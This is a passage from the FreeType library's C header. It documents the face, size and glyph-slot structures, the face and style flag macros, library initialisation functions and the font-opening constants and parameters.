Even if the face is scalable, there might */ /* still be bitmap strikes, which are called */ /* `sbits' in that case. */ /* */ /* available_sizes :: An array of @FT_Bitmap_Size for all bitmap */ /* strikes in the face. It is set to NULL if */ /* there is no bitmap strike. */ /* */ /* Note that FreeType tries to sanitize the */ /* strike data since they are sometimes sloppy */ /* or incorrect, but this can easily fail. */ /* */ /* num_charmaps :: The number of charmaps in the face. */ /* */ /* charmaps :: An array of the charmaps of the face. */ /* */ /* generic :: A field reserved for client uses. See the */ /* @FT_Generic type description. */ /* */ /* bbox :: The font bounding box. Coordinates are */ /* expressed in font units (see */ /* `units_per_EM'). The box is large enough */ /* to contain any glyph from the font. Thus, */ /* `bbox.yMax' can be seen as the `maximum */ /* ascender', and `bbox.yMin' as the `minimum */ /* descender'. Only relevant for scalable */ /* formats. */ /* */ /* Note that the bounding box might be off by */ /* (at least) one pixel for hinted fonts. See */ /* @FT_Size_Metrics for further discussion. */ /* */ /* units_per_EM :: The number of font units per EM square for */ /* this face. This is typically 2048 for */ /* TrueType fonts, and 1000 for Type~1 fonts. */ /* Only relevant for scalable formats. */ /* */ /* ascender :: The typographic ascender of the face, */ /* expressed in font units. For font formats */ /* not having this information, it is set to */ /* `bbox.yMax'. Only relevant for scalable */ /* formats. */ /* */ /* descender :: The typographic descender of the face, */ /* expressed in font units. For font formats */ /* not having this information, it is set to */ /* `bbox.yMin'. Note that this field is */ /* negative for values below the baseline. */ /* Only relevant for scalable formats. */ /* */ /* height :: This value is the vertical distance */ /* between two consecutive baselines, */ /* expressed in font units. It is always */ /* positive. Only relevant for scalable */ /* formats. */ /* */ /* If you want the global glyph height, use */ /* `ascender - descender'. */ /* */ /* max_advance_width :: The maximum advance width, in font units, */ /* for all glyphs in this face. This can be */ /* used to make word wrapping computations */ /* faster. Only relevant for scalable */ /* formats. */ /* */ /* max_advance_height :: The maximum advance height, in font units, */ /* for all glyphs in this face. This is only */ /* relevant for vertical layouts, and is set */ /* to `height' for fonts that do not provide */ /* vertical metrics. Only relevant for */ /* scalable formats. */ /* */ /* underline_position :: The position, in font units, of the */ /* underline line for this face. It is the */ /* center of the underlining stem. Only */ /* relevant for scalable formats. */ /* */ /* underline_thickness :: The thickness, in font units, of the */ /* underline for this face. Only relevant for */ /* scalable formats. */ /* */ /* glyph :: The face's associated glyph slot(s). */ /* */ /* size :: The current active size for this face. */ /* */ /* charmap :: The current active charmap for this face. */ /* */ /* <Note> */ /* Fields may be changed after a call to @FT_Attach_File or */ /* @FT_Attach_Stream. */ /* */ /* For an OpenType variation font, the values of the following fields */ /* can change after a call to @FT_Set_Var_Design_Coordinates (and */ /* friends) if the font contains an `MVAR' table: `ascender', */ /* `descender', `height', `underline_position', and */ /* `underline_thickness'. */ /* */ /* Especially for TrueType fonts see also the documentation for */ /* @FT_Size_Metrics. */ /* */ typedef struct FT_FaceRec_ { FT_Long num_faces; FT_Long face_index; FT_Long face_flags; FT_Long style_flags; FT_Long num_glyphs; FT_String* family_name; FT_String* style_name; FT_Int num_fixed_sizes; FT_Bitmap_Size* available_sizes; FT_Int num_charmaps; FT_CharMap* charmaps; FT_Generic generic; /*# The following member variables (down to `underline_thickness') */ /*# are only relevant to scalable outlines; cf. @FT_Bitmap_Size */ /*# for bitmap fonts. */ FT_BBox bbox; FT_UShort units_per_EM; FT_Short ascender; FT_Short descender; FT_Short height; FT_Short max_advance_width; FT_Short max_advance_height; FT_Short underline_position; FT_Short underline_thickness; FT_GlyphSlot glyph; FT_Size size; FT_CharMap charmap; /*@private begin */ FT_Driver driver; FT_Memory memory; FT_Stream stream; FT_ListRec sizes_list; FT_Generic autohint; /* face-specific auto-hinter data */ void* extensions; /* unused */ FT_Face_Internal internal; /*@private end */ } FT_FaceRec; /*************************************************************************/ /* */ /* <Enum> */ /* FT_FACE_FLAG_XXX */ /* */ /* <Description> */ /* A list of bit flags used in the `face_flags' field of the */ /* @FT_FaceRec structure. They inform client applications of */ /* properties of the corresponding face. */ /* */ /* <Values> */ /* FT_FACE_FLAG_SCALABLE :: */ /* The face contains outline glyphs. Note that a face can contain */ /* bitmap strikes also, i.e., a face can have both this flag and */ /* @FT_FACE_FLAG_FIXED_SIZES set. */ /* */ /* FT_FACE_FLAG_FIXED_SIZES :: */ /* The face contains bitmap strikes. See also the */ /* `num_fixed_sizes' and `available_sizes' fields of @FT_FaceRec. */ /* */ /* FT_FACE_FLAG_FIXED_WIDTH :: */ /* The face contains fixed-width characters (like Courier, Lucida, */ /* MonoType, etc.). */ /* */ /* FT_FACE_FLAG_SFNT :: */ /* The face uses the SFNT storage scheme. For now, this means */ /* TrueType and OpenType. */ /* */ /* FT_FACE_FLAG_HORIZONTAL :: */ /* The face contains horizontal glyph metrics. This should be set */ /* for all common formats. */ /* */ /* FT_FACE_FLAG_VERTICAL :: */ /* The face contains vertical glyph metrics. This is only */ /* available in some formats, not all of them. */ /* */ /* FT_FACE_FLAG_KERNING :: */ /* The face contains kerning information. If set, the kerning */ /* distance can be retrieved using the function @FT_Get_Kerning. */ /* Otherwise the function always return the vector (0,0). Note */ /* that FreeType doesn't handle kerning data from the SFNT `GPOS' */ /* table (as present in many OpenType fonts). */ /* */ /* FT_FACE_FLAG_FAST_GLYPHS :: */ /* THIS FLAG IS DEPRECATED. DO NOT USE OR TEST IT. */ /* */ /* FT_FACE_FLAG_MULTIPLE_MASTERS :: */ /* The face contains multiple masters and is capable of */ /* interpolating between them. Supported formats are Adobe MM, */ /* TrueType GX, and OpenType variation fonts. */ /* */ /* See section @multiple_masters for API details. */ /* */ /* FT_FACE_FLAG_GLYPH_NAMES :: */ /* The face contains glyph names, which can be retrieved using */ /* @FT_Get_Glyph_Name. Note that some TrueType fonts contain */ /* broken glyph name tables. Use the function */ /* @FT_Has_PS_Glyph_Names when needed. */ /* */ /* FT_FACE_FLAG_EXTERNAL_STREAM :: */ /* Used internally by FreeType to indicate that a face's stream was */ /* provided by the client application and should not be destroyed */ /* when @FT_Done_Face is called. Don't read or test this flag. */ /* */ /* FT_FACE_FLAG_HINTER :: */ /* The font driver has a hinting machine of its own. For example, */ /* with TrueType fonts, it makes sense to use data from the SFNT */ /* `gasp' table only if the native TrueType hinting engine (with */ /* the bytecode interpreter) is available and active. */ /* */ /* FT_FACE_FLAG_CID_KEYED :: */ /* The face is CID-keyed. In that case, the face is not accessed */ /* by glyph indices but by CID values. For subsetted CID-keyed */ /* fonts this has the consequence that not all index values are a */ /* valid argument to @FT_Load_Glyph. Only the CID values for which */ /* corresponding glyphs in the subsetted font exist make */ /* `FT_Load_Glyph' return successfully; in all other cases you get */ /* an `FT_Err_Invalid_Argument' error. */ /* */ /* Note that CID-keyed fonts that are in an SFNT wrapper (this is, */ /* all OpenType/CFF fonts) don't have this flag set since the */ /* glyphs are accessed in the normal way (using contiguous */ /* indices); the `CID-ness' isn't visible to the application. */ /* */ /* FT_FACE_FLAG_TRICKY :: */ /* The face is `tricky', this is, it always needs the font format's */ /* native hinting engine to get a reasonable result. A typical */ /* example is the old Chinese font `mingli.ttf' (but not */ /* `mingliu.ttc') that uses TrueType bytecode instructions to move */ /* and scale all of its subglyphs. */ /* */ /* It is not possible to auto-hint such fonts using */ /* @FT_LOAD_FORCE_AUTOHINT; it will also ignore */ /* @FT_LOAD_NO_HINTING. You have to set both @FT_LOAD_NO_HINTING */ /* and @FT_LOAD_NO_AUTOHINT to really disable hinting; however, you */ /* probably never want this except for demonstration purposes. */ /* */ /* Currently, there are about a dozen TrueType fonts in the list of */ /* tricky fonts; they are hard-coded in file `ttobjs.c'. */ /* */ /* FT_FACE_FLAG_COLOR :: */ /* [Since 2.5.1] The face has color glyph tables. To access color */ /* glyphs use @FT_LOAD_COLOR. */ /* */ /* FT_FACE_FLAG_VARIATION :: */ /* [Since 2.9] Set if the current face (or named instance) has been */ /* altered with @FT_Set_MM_Design_Coordinates, */ /* @FT_Set_Var_Design_Coordinates, or */ /* @FT_Set_Var_Blend_Coordinates. This flag is unset by a call to */ /* @FT_Set_Named_Instance. */ /* */ #define FT_FACE_FLAG_SCALABLE ( 1L << 0 ) #define FT_FACE_FLAG_FIXED_SIZES ( 1L << 1 ) #define FT_FACE_FLAG_FIXED_WIDTH ( 1L << 2 ) #define FT_FACE_FLAG_SFNT ( 1L << 3 ) #define FT_FACE_FLAG_HORIZONTAL ( 1L << 4 ) #define FT_FACE_FLAG_VERTICAL ( 1L << 5 ) #define FT_FACE_FLAG_KERNING ( 1L << 6 ) #define FT_FACE_FLAG_FAST_GLYPHS ( 1L << 7 ) #define FT_FACE_FLAG_MULTIPLE_MASTERS ( 1L << 8 ) #define FT_FACE_FLAG_GLYPH_NAMES ( 1L << 9 ) #define FT_FACE_FLAG_EXTERNAL_STREAM ( 1L << 10 ) #define FT_FACE_FLAG_HINTER ( 1L << 11 ) #define FT_FACE_FLAG_CID_KEYED ( 1L << 12 ) #define FT_FACE_FLAG_TRICKY ( 1L << 13 ) #define FT_FACE_FLAG_COLOR ( 1L << 14 ) #define FT_FACE_FLAG_VARIATION ( 1L << 15 ) /************************************************************************* * * @macro: * FT_HAS_HORIZONTAL( face ) * * @description: * A macro that returns true whenever a face object contains * horizontal metrics (this is true for all font formats though). * * @also: * @FT_HAS_VERTICAL can be used to check for vertical metrics. * */ #define FT_HAS_HORIZONTAL( face ) \ ( (face)->face_flags & FT_FACE_FLAG_HORIZONTAL ) /************************************************************************* * * @macro: * FT_HAS_VERTICAL( face ) * * @description: * A macro that returns true whenever a face object contains real * vertical metrics (and not only synthesized ones). * */ #define FT_HAS_VERTICAL( face ) \ ( (face)->face_flags & FT_FACE_FLAG_VERTICAL ) /************************************************************************* * * @macro: * FT_HAS_KERNING( face ) * * @description: * A macro that returns true whenever a face object contains kerning * data that can be accessed with @FT_Get_Kerning. * */ #define FT_HAS_KERNING( face ) \ ( (face)->face_flags & FT_FACE_FLAG_KERNING ) /************************************************************************* * * @macro: * FT_IS_SCALABLE( face ) * * @description: * A macro that returns true whenever a face object contains a scalable * font face (true for TrueType, Type~1, Type~42, CID, OpenType/CFF, * and PFR font formats). * */ #define FT_IS_SCALABLE( face ) \ ( (face)->face_flags & FT_FACE_FLAG_SCALABLE ) /************************************************************************* * * @macro: * FT_IS_SFNT( face ) * * @description: * A macro that returns true whenever a face object contains a font * whose format is based on the SFNT storage scheme. This usually * means: TrueType fonts, OpenType fonts, as well as SFNT-based embedded * bitmap fonts. * * If this macro is true, all functions defined in @FT_SFNT_NAMES_H and * @FT_TRUETYPE_TABLES_H are available. * */ #define FT_IS_SFNT( face ) \ ( (face)->face_flags & FT_FACE_FLAG_SFNT ) /************************************************************************* * * @macro: * FT_IS_FIXED_WIDTH( face ) * * @description: * A macro that returns true whenever a face object contains a font face * that contains fixed-width (or `monospace', `fixed-pitch', etc.) * glyphs. * */ #define FT_IS_FIXED_WIDTH( face ) \ ( (face)->face_flags & FT_FACE_FLAG_FIXED_WIDTH ) /************************************************************************* * * @macro: * FT_HAS_FIXED_SIZES( face ) * * @description: * A macro that returns true whenever a face object contains some * embedded bitmaps. See the `available_sizes' field of the * @FT_FaceRec structure. * */ #define FT_HAS_FIXED_SIZES( face ) \ ( (face)->face_flags & FT_FACE_FLAG_FIXED_SIZES ) /************************************************************************* * * @macro: * FT_HAS_FAST_GLYPHS( face ) * * @description: * Deprecated. * */ #define FT_HAS_FAST_GLYPHS( face ) 0 /************************************************************************* * * @macro: * FT_HAS_GLYPH_NAMES( face ) * * @description: * A macro that returns true whenever a face object contains some glyph * names that can be accessed through @FT_Get_Glyph_Name. * */ #define FT_HAS_GLYPH_NAMES( face ) \ ( (face)->face_flags & FT_FACE_FLAG_GLYPH_NAMES ) /************************************************************************* * * @macro: * FT_HAS_MULTIPLE_MASTERS( face ) * * @description: * A macro that returns true whenever a face object contains some * multiple masters. The functions provided by @FT_MULTIPLE_MASTERS_H * are then available to choose the exact design you want. * */ #define FT_HAS_MULTIPLE_MASTERS( face ) \ ( (face)->face_flags & FT_FACE_FLAG_MULTIPLE_MASTERS ) /************************************************************************* * * @macro: * FT_IS_NAMED_INSTANCE( face ) * * @description: * A macro that returns true whenever a face object is a named instance * of a GX or OpenType variation font. * * [Since 2.9] Changing the design coordinates with * @FT_Set_Var_Design_Coordinates or @FT_Set_Var_Blend_Coordinates does * not influence the return value of this macro (only * @FT_Set_Named_Instance does that). * * @since: * 2.7 * */ #define FT_IS_NAMED_INSTANCE( face ) \ ( (face)->face_index & 0x7FFF0000L ) /************************************************************************* * * @macro: * FT_IS_VARIATION( face ) * * @description: * A macro that returns true whenever a face object has been altered * by @FT_Set_MM_Design_Coordinates, @FT_Set_Var_Design_Coordinates, or * @FT_Set_Var_Blend_Coordinates. * * @since: * 2.9 * */ #define FT_IS_VARIATION( face ) \ ( (face)->face_flags & FT_FACE_FLAG_VARIATION ) /************************************************************************* * * @macro: * FT_IS_CID_KEYED( face ) * * @description: * A macro that returns true whenever a face object contains a CID-keyed * font. See the discussion of @FT_FACE_FLAG_CID_KEYED for more * details. * * If this macro is true, all functions defined in @FT_CID_H are * available. * */ #define FT_IS_CID_KEYED( face ) \ ( (face)->face_flags & FT_FACE_FLAG_CID_KEYED ) /************************************************************************* * * @macro: * FT_IS_TRICKY( face ) * * @description: * A macro that returns true whenever a face represents a `tricky' font. * See the discussion of @FT_FACE_FLAG_TRICKY for more details. * */ #define FT_IS_TRICKY( face ) \ ( (face)->face_flags & FT_FACE_FLAG_TRICKY ) /************************************************************************* * * @macro: * FT_HAS_COLOR( face ) * * @description: * A macro that returns true whenever a face object contains * tables for color glyphs. * * @since: * 2.5.1 * */ #define FT_HAS_COLOR( face ) \ ( (face)->face_flags & FT_FACE_FLAG_COLOR ) /*************************************************************************/ /* */ /* <Const> */ /* FT_STYLE_FLAG_XXX */ /* */ /* <Description> */ /* A list of bit flags to indicate the style of a given face. These */ /* are used in the `style_flags' field of @FT_FaceRec. */ /* */ /* <Values> */ /* FT_STYLE_FLAG_ITALIC :: */ /* The face style is italic or oblique. */ /* */ /* FT_STYLE_FLAG_BOLD :: */ /* The face is bold. */ /* */ /* <Note> */ /* The style information as provided by FreeType is very basic. More */ /* details are beyond the scope and should be done on a higher level */ /* (for example, by analyzing various fields of the `OS/2' table in */ /* SFNT based fonts). */ /* */ #define FT_STYLE_FLAG_ITALIC ( 1 << 0 ) #define FT_STYLE_FLAG_BOLD ( 1 << 1 ) /*************************************************************************/ /* */ /* <Type> */ /* FT_Size_Internal */ /* */ /* <Description> */ /* An opaque handle to an `FT_Size_InternalRec' structure, used to */ /* model private data of a given @FT_Size object. */ /* */ typedef struct FT_Size_InternalRec_* FT_Size_Internal; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Size_Metrics */ /* */ /* <Description> */ /* The size metrics structure gives the metrics of a size object. */ /* */ /* <Fields> */ /* x_ppem :: The width of the scaled EM square in pixels, hence */ /* the term `ppem' (pixels per EM). It is also */ /* referred to as `nominal width'. */ /* */ /* y_ppem :: The height of the scaled EM square in pixels, */ /* hence the term `ppem' (pixels per EM). It is also */ /* referred to as `nominal height'. */ /* */ /* x_scale :: A 16.16 fractional scaling value to convert */ /* horizontal metrics from font units to 26.6 */ /* fractional pixels. Only relevant for scalable */ /* font formats. */ /* */ /* y_scale :: A 16.16 fractional scaling value to convert */ /* vertical metrics from font units to 26.6 */ /* fractional pixels. Only relevant for scalable */ /* font formats. */ /* */ /* ascender :: The ascender in 26.6 fractional pixels, rounded up */ /* to an integer value. See @FT_FaceRec for the */ /* details. */ /* */ /* descender :: The descender in 26.6 fractional pixels, rounded */ /* down to an integer value. See @FT_FaceRec for the */ /* details. */ /* */ /* height :: The height in 26.6 fractional pixels, rounded to */ /* an integer value. See @FT_FaceRec for the */ /* details. */ /* */ /* max_advance :: The maximum advance width in 26.6 fractional */ /* pixels, rounded to an integer value. See */ /* @FT_FaceRec for the details. */ /* */ /* <Note> */ /* The scaling values, if relevant, are determined first during a */ /* size changing operation. The remaining fields are then set by the */ /* driver. For scalable formats, they are usually set to scaled */ /* values of the corresponding fields in @FT_FaceRec. Some values */ /* like ascender or descender are rounded for historical reasons; */ /* more precise values (for outline fonts) can be derived by scaling */ /* the corresponding @FT_FaceRec values manually, with code similar */ /* to the following. */ /* */ /* { */ /* scaled_ascender = FT_MulFix( face->ascender, */ /* size_metrics->y_scale ); */ /* } */ /* */ /* Note that due to glyph hinting and the selected rendering mode */ /* these values are usually not exact; consequently, they must be */ /* treated as unreliable with an error margin of at least one pixel! */ /* */ /* Indeed, the only way to get the exact metrics is to render _all_ */ /* glyphs. As this would be a definite performance hit, it is up to */ /* client applications to perform such computations. */ /* */ /* The `FT_Size_Metrics' structure is valid for bitmap fonts also. */ /* */ /* */ /* *TrueType* *fonts* *with* *native* *bytecode* *hinting* */ /* */ /* All applications that handle TrueType fonts with native hinting */ /* must be aware that TTFs expect different rounding of vertical font */ /* dimensions. The application has to cater for this, especially if */ /* it wants to rely on a TTF's vertical data (for example, to */ /* properly align box characters vertically). */ /* */ /* Only the application knows _in_ _advance_ that it is going to use */ /* native hinting for TTFs! FreeType, on the other hand, selects the */ /* hinting mode not at the time of creating an @FT_Size object but */ /* much later, namely while calling @FT_Load_Glyph. */ /* */ /* Here is some pseudo code that illustrates a possible solution. */ /* */ /* { */ /* font_format = FT_Get_Font_Format( face ); */ /* */ /* if ( !strcmp( font_format, "TrueType" ) && */ /* do_native_bytecode_hinting ) */ /* { */ /* ascender = ROUND( FT_MulFix( face->ascender, */ /* size_metrics->y_scale ) ); */ /* descender = ROUND( FT_MulFix( face->descender, */ /* size_metrics->y_scale ) ); */ /* } */ /* else */ /* { */ /* ascender = size_metrics->ascender; */ /* descender = size_metrics->descender; */ /* } */ /* */ /* height = size_metrics->height; */ /* max_advance = size_metrics->max_advance; */ /* } */ /* */ typedef struct FT_Size_Metrics_ { FT_UShort x_ppem; /* horizontal pixels per EM */ FT_UShort y_ppem; /* vertical pixels per EM */ FT_Fixed x_scale; /* scaling values used to convert font */ FT_Fixed y_scale; /* units to 26.6 fractional pixels */ FT_Pos ascender; /* ascender in 26.6 frac. pixels */ FT_Pos descender; /* descender in 26.6 frac. pixels */ FT_Pos height; /* text height in 26.6 frac. pixels */ FT_Pos max_advance; /* max horizontal advance, in 26.6 pixels */ } FT_Size_Metrics; /*************************************************************************/ /* */ /* <Struct> */ /* FT_SizeRec */ /* */ /* <Description> */ /* FreeType root size class structure. A size object models a face */ /* object at a given size. */ /* */ /* <Fields> */ /* face :: Handle to the parent face object. */ /* */ /* generic :: A typeless pointer, unused by the FreeType library or */ /* any of its drivers. It can be used by client */ /* applications to link their own data to each size */ /* object. */ /* */ /* metrics :: Metrics for this size object. This field is read-only. */ /* */ typedef struct FT_SizeRec_ { FT_Face face; /* parent face object */ FT_Generic generic; /* generic pointer for client uses */ FT_Size_Metrics metrics; /* size metrics */ FT_Size_Internal internal; } FT_SizeRec; /*************************************************************************/ /* */ /* <Struct> */ /* FT_SubGlyph */ /* */ /* <Description> */ /* The subglyph structure is an internal object used to describe */ /* subglyphs (for example, in the case of composites). */ /* */ /* <Note> */ /* The subglyph implementation is not part of the high-level API, */ /* hence the forward structure declaration. */ /* */ /* You can however retrieve subglyph information with */ /* @FT_Get_SubGlyph_Info. */ /* */ typedef struct FT_SubGlyphRec_* FT_SubGlyph; /*************************************************************************/ /* */ /* <Type> */ /* FT_Slot_Internal */ /* */ /* <Description> */ /* An opaque handle to an `FT_Slot_InternalRec' structure, used to */ /* model private data of a given @FT_GlyphSlot object. */ /* */ typedef struct FT_Slot_InternalRec_* FT_Slot_Internal; /*************************************************************************/ /* */ /* <Struct> */ /* FT_GlyphSlotRec */ /* */ /* <Description> */ /* FreeType root glyph slot class structure. A glyph slot is a */ /* container where individual glyphs can be loaded, be they in */ /* outline or bitmap format. */ /* */ /* <Fields> */ /* library :: A handle to the FreeType library instance */ /* this slot belongs to. */ /* */ /* face :: A handle to the parent face object. */ /* */ /* next :: In some cases (like some font tools), several */ /* glyph slots per face object can be a good */ /* thing. As this is rare, the glyph slots are */ /* listed through a direct, single-linked list */ /* using its `next' field. */ /* */ /* generic :: A typeless pointer unused by the FreeType */ /* library or any of its drivers. It can be */ /* used by client applications to link their own */ /* data to each glyph slot object. */ /* */ /* metrics :: The metrics of the last loaded glyph in the */ /* slot. The returned values depend on the last */ /* load flags (see the @FT_Load_Glyph API */ /* function) and can be expressed either in 26.6 */ /* fractional pixels or font units. */ /* */ /* Note that even when the glyph image is */ /* transformed, the metrics are not. */ /* */ /* linearHoriAdvance :: The advance width of the unhinted glyph. */ /* Its value is expressed in 16.16 fractional */ /* pixels, unless @FT_LOAD_LINEAR_DESIGN is set */ /* when loading the glyph. This field can be */ /* important to perform correct WYSIWYG layout. */ /* Only relevant for outline glyphs. */ /* */ /* linearVertAdvance :: The advance height of the unhinted glyph. */ /* Its value is expressed in 16.16 fractional */ /* pixels, unless @FT_LOAD_LINEAR_DESIGN is set */ /* when loading the glyph. This field can be */ /* important to perform correct WYSIWYG layout. */ /* Only relevant for outline glyphs. */ /* */ /* advance :: This shorthand is, depending on */ /* @FT_LOAD_IGNORE_TRANSFORM, the transformed */ /* (hinted) advance width for the glyph, in 26.6 */ /* fractional pixel format. As specified with */ /* @FT_LOAD_VERTICAL_LAYOUT, it uses either the */ /* `horiAdvance' or the `vertAdvance' value of */ /* `metrics' field. */ /* */ /* format :: This field indicates the format of the image */ /* contained in the glyph slot. Typically */ /* @FT_GLYPH_FORMAT_BITMAP, */ /* @FT_GLYPH_FORMAT_OUTLINE, or */ /* @FT_GLYPH_FORMAT_COMPOSITE, but other values */ /* are possible. */ /* */ /* bitmap :: This field is used as a bitmap descriptor. */ /* Note that the address and content of the */ /* bitmap buffer can change between calls of */ /* @FT_Load_Glyph and a few other functions. */ /* */ /* bitmap_left :: The bitmap's left bearing expressed in */ /* integer pixels. */ /* */ /* bitmap_top :: The bitmap's top bearing expressed in integer */ /* pixels. This is the distance from the */ /* baseline to the top-most glyph scanline, */ /* upwards y~coordinates being *positive*. */ /* */ /* outline :: The outline descriptor for the current glyph */ /* image if its format is */ /* @FT_GLYPH_FORMAT_OUTLINE. Once a glyph is */ /* loaded, `outline' can be transformed, */ /* distorted, emboldened, etc. However, it must */ /* not be freed. */ /* */ /* num_subglyphs :: The number of subglyphs in a composite glyph. */ /* This field is only valid for the composite */ /* glyph format that should normally only be */ /* loaded with the @FT_LOAD_NO_RECURSE flag. */ /* */ /* subglyphs :: An array of subglyph descriptors for */ /* composite glyphs. There are `num_subglyphs' */ /* elements in there. Currently internal to */ /* FreeType. */ /* */ /* control_data :: Certain font drivers can also return the */ /* control data for a given glyph image (e.g. */ /* TrueType bytecode, Type~1 charstrings, etc.). */ /* This field is a pointer to such data; it is */ /* currently internal to FreeType. */ /* */ /* control_len :: This is the length in bytes of the control */ /* data. Currently internal to FreeType. */ /* */ /* other :: Reserved. */ /* */ /* lsb_delta :: The difference between hinted and unhinted */ /* left side bearing while auto-hinting is */ /* active. Zero otherwise. */ /* */ /* rsb_delta :: The difference between hinted and unhinted */ /* right side bearing while auto-hinting is */ /* active. Zero otherwise. */ /* */ /* <Note> */ /* If @FT_Load_Glyph is called with default flags (see */ /* @FT_LOAD_DEFAULT) the glyph image is loaded in the glyph slot in */ /* its native format (e.g., an outline glyph for TrueType and Type~1 */ /* formats). [Since 2.9] The prospective bitmap metrics are */ /* calculated according to @FT_LOAD_TARGET_XXX and other flags even */ /* for the outline glyph, even if @FT_LOAD_RENDER is not set. */ /* */ /* This image can later be converted into a bitmap by calling */ /* @FT_Render_Glyph. This function searches the current renderer for */ /* the native image's format, then invokes it. */ /* */ /* The renderer is in charge of transforming the native image through */ /* the slot's face transformation fields, then converting it into a */ /* bitmap that is returned in `slot->bitmap'. */ /* */ /* Note that `slot->bitmap_left' and `slot->bitmap_top' are also used */ /* to specify the position of the bitmap relative to the current pen */ /* position (e.g., coordinates (0,0) on the baseline). Of course, */ /* `slot->format' is also changed to @FT_GLYPH_FORMAT_BITMAP. */ /* */ /* Here is a small pseudo code fragment that shows how to use */ /* `lsb_delta' and `rsb_delta' to do fractional positioning of */ /* glyphs: */ /* */ /* { */ /* FT_GlyphSlot slot = face->glyph; */ /* FT_Pos origin_x = 0; */ /* */ /* */ /* for all glyphs do */ /* <load glyph with `FT_Load_Glyph'> */ /* */ /* FT_Outline_Translate( slot->outline, origin_x & 63, 0 ); */ /* */ /* <save glyph image, or render glyph, or ...> */ /* */ /* <compute kern between current and next glyph */ /* and add it to `origin_x'> */ /* */ /* origin_x += slot->advance.x; */ /* origin_x += slot->rsb_delta - slot->lsb_delta; */ /* endfor */ /* } */ /* */ /* Here is another small pseudo code fragment that shows how to use */ /* `lsb_delta' and `rsb_delta' to improve integer positioning of */ /* glyphs: */ /* */ /* { */ /* FT_GlyphSlot slot = face->glyph; */ /* FT_Pos origin_x = 0; */ /* FT_Pos prev_rsb_delta = 0; */ /* */ /* */ /* for all glyphs do */ /* <compute kern between current and previous glyph */ /* and add it to `origin_x'> */ /* */ /* <load glyph with `FT_Load_Glyph'> */ /* */ /* if ( prev_rsb_delta - slot->lsb_delta > 32 ) */ /* origin_x -= 64; */ /* else if ( prev_rsb_delta - slot->lsb_delta < -31 ) */ /* origin_x += 64; */ /* */ /* prev_rsb_delta = slot->rsb_delta; */ /* */ /* <save glyph image, or render glyph, or ...> */ /* */ /* origin_x += slot->advance.x; */ /* endfor */ /* } */ /* */ /* If you use strong auto-hinting, you *must* apply these delta */ /* values! Otherwise you will experience far too large inter-glyph */ /* spacing at small rendering sizes in most cases. Note that it */ /* doesn't harm to use the above code for other hinting modes also, */ /* since the delta values are zero then. */ /* */ typedef struct FT_GlyphSlotRec_ { FT_Library library; FT_Face face; FT_GlyphSlot next; FT_UInt reserved; /* retained for binary compatibility */ FT_Generic generic; FT_Glyph_Metrics metrics; FT_Fixed linearHoriAdvance; FT_Fixed linearVertAdvance; FT_Vector advance; FT_Glyph_Format format; FT_Bitmap bitmap; FT_Int bitmap_left; FT_Int bitmap_top; FT_Outline outline; FT_UInt num_subglyphs; FT_SubGlyph subglyphs; void* control_data; long control_len; FT_Pos lsb_delta; FT_Pos rsb_delta; void* other; FT_Slot_Internal internal; } FT_GlyphSlotRec; /*************************************************************************/ /*************************************************************************/ /* */ /* F U N C T I O N S */ /* */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_Init_FreeType */ /* */ /* <Description> */ /* Initialize a new FreeType library object. The set of modules */ /* that are registered by this function is determined at build time. */ /* */ /* <Output> */ /* alibrary :: A handle to a new library object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* In case you want to provide your own memory allocating routines, */ /* use @FT_New_Library instead, followed by a call to */ /* @FT_Add_Default_Modules (or a series of calls to @FT_Add_Module) */ /* and @FT_Set_Default_Properties. */ /* */ /* See the documentation of @FT_Library and @FT_Face for */ /* multi-threading issues. */ /* */ /* If you need reference-counting (cf. @FT_Reference_Library), use */ /* @FT_New_Library and @FT_Done_Library. */ /* */ /* If compilation option FT_CONFIG_OPTION_ENVIRONMENT_PROPERTIES is */ /* set, this function reads the `FREETYPE_PROPERTIES' environment */ /* variable to control driver properties. See section @properties */ /* for more. */ /* */ FT_EXPORT( FT_Error ) FT_Init_FreeType( FT_Library *alibrary ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Done_FreeType */ /* */ /* <Description> */ /* Destroy a given FreeType library object and all of its children, */ /* including resources, drivers, faces, sizes, etc. */ /* */ /* <Input> */ /* library :: A handle to the target library object. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Done_FreeType( FT_Library library ); /*************************************************************************/ /* */ /* <Enum> */ /* FT_OPEN_XXX */ /* */ /* <Description> */ /* A list of bit field constants used within the `flags' field of the */ /* @FT_Open_Args structure. */ /* */ /* <Values> */ /* FT_OPEN_MEMORY :: This is a memory-based stream. */ /* */ /* FT_OPEN_STREAM :: Copy the stream from the `stream' field. */ /* */ /* FT_OPEN_PATHNAME :: Create a new input stream from a C~path */ /* name. */ /* */ /* FT_OPEN_DRIVER :: Use the `driver' field. */ /* */ /* FT_OPEN_PARAMS :: Use the `num_params' and `params' fields. */ /* */ /* <Note> */ /* The `FT_OPEN_MEMORY', `FT_OPEN_STREAM', and `FT_OPEN_PATHNAME' */ /* flags are mutually exclusive. */ /* */ #define FT_OPEN_MEMORY 0x1 #define FT_OPEN_STREAM 0x2 #define FT_OPEN_PATHNAME 0x4 #define FT_OPEN_DRIVER 0x8 #define FT_OPEN_PARAMS 0x10 /* these constants are deprecated; use the corresponding `FT_OPEN_XXX' */ /* values instead */ #define ft_open_memory FT_OPEN_MEMORY #define ft_open_stream FT_OPEN_STREAM #define ft_open_pathname FT_OPEN_PATHNAME #define ft_open_driver FT_OPEN_DRIVER #define ft_open_params FT_OPEN_PARAMS /*************************************************************************/ /* */ /* <Struct> */ /* FT_Parameter */ /* */ /* <Description> */ /* A simple structure to pass more or less generic parameters to */ /* @FT_Open_Face and @FT_Face_Properties. */ /* */ /* <Fields> */ /* tag :: A four-byte identification tag. */ /* */ /* data :: A pointer to the parameter data. */ /* */ /* <Note> */ /* The ID and function of parameters are driver-specific. See */ /* section @parameter_tags for more information. */ /* */ typedef struct FT_Parameter_ { FT_ULong tag; FT_Pointer data; } FT_Parameter; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Open_Args */ /* */ /* <Description> */ /* A structure to indicate how to open a new font file or stream. A */ /* pointer to such a structure can be used as a parameter for the */ /* functions @FT_Open_Face and @FT_Attach_Stream. */ /* */ /* <Fields> */ /* flags :: A set of bit flags indicating how to use the */ /* structure. */ /* */ /* 